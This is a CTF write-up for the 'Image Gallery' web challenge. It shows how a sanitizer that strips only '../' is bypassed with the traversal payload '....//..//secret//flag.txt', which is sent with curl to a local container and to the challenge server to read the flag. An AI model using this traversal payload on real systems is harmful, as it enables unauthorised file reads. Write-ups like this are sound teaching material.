Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Image Gallery

CTF writeup for Image Gallery from Backdoor

//Image Gallery

//Image Gallery (WEB) Writeup

>TL;DR

A naive path sanitizer in /image?file= only removed literal ../ substrings. By feeding the application ....//..//secret//flag.txt, the sanitizer glued together fresh ../ sequences that path.join normalized into /app/secret/flag.txt. The same payload worked locally and on the remote challenge instance, yielding the flag flag{sTr1pp1ng_d0Ts_and_SLasH3s_d03sNt_sTr1p_bUgs}.


>1. Challenge Overview

  • Category: Web (LFI)
  • Author: c00k1e
  • Service URL: http://104.198.24.52:6012/
  • Goal: Read the secret flag stored under /app/secret/flag.txt.

The provided archive gallery.zip unpacked into a minimal Express app that lists images and exposes an /image endpoint for fetching individual files from /app/images.


>2. Local Environment Setup

  1. Extract project:
bash

unzip gallery.zip && cd gallery
  1. Run dependencies: application ships with package-lock.json and node_modules/, so npm install was unnecessary. A Dockerfile was also provided; I used it to isolate the service:
bash

docker build -t gallery-app .

nohup docker run --rm -p 18000:8000 --name gallery-app-run gallery-app >> docker-run.log 2>&1 &
  1. Confirm service:
bash

curl -I [http://localhost:18000](http://localhost:18000/)

# HTTP/1.1 200 OK

With the container running locally, I could inspect requests freely without touching the remote instance.


>3. Code Review & Vulnerability Discovery

The interesting logic lives in server.js:

jsx

app.get('/image', (req, res) => {

  let file = req.query.file || '';

  file = decodeURIComponent(file);

  file = file.replace(/\\\\/g, '/');

  file = file.split('../').join('');

  const resolved = path.join(BASE_DIR, file);

  fs.readFile(resolved, ...);

});

Key observations:

  • Only literal ../ substrings are stripped.
  • Anything else (extra dots, extra slashes) survives.
  • After sanitization, path.join(BASE_DIR, file) is called. If file still contains .., path.join will escape /app/images.

Bypassing the Sanitizer

When the input contains four dots before the slash (....//), the string splits like this:

  1. decodeURIComponent → unchanged.
  2. replace(/\\\\/g, '/') → unchanged.
  3. split('../').join('') removes the literal ../ tokens but glues together parts that form new ../ sequences.

Example run directly in Node:

bash

node <<'EOF'

let file = '....//..//secret//flag.txt';

file = file.replace(/\\\\/g,'/');

file = file.split('../').join('');

console.log(file);

EOF

# Output: ..//secret//flag.txt

path.join('/app/images', '..//secret//flag.txt') then resolves to /app/secret/flag.txt.


>4. Local Exploitation

With the theory confirmed, I hit my local container:

bash

curl -s '<http://localhost:18000/image?file=....//..//secret//flag.txt>'

Response:

flag{remote_flag_don't_submit_this}

That file was intentionally marked as a placeholder, but it verified the exploit path and payload syntax.


>5. Remote Exploitation

Once confident locally, I targeted the challenge server:

bash

curl -s '<http://104.198.24.52:6012/image?file=....//..//secret//flag.txt>'

Remote response:

flag{sTr1pp1ng_d0Ts_and_SLasH3s_d03sNt_sTr1p_bUgs}

The payload worked first try because the remote server runs the same code with the same flawed sanitizer.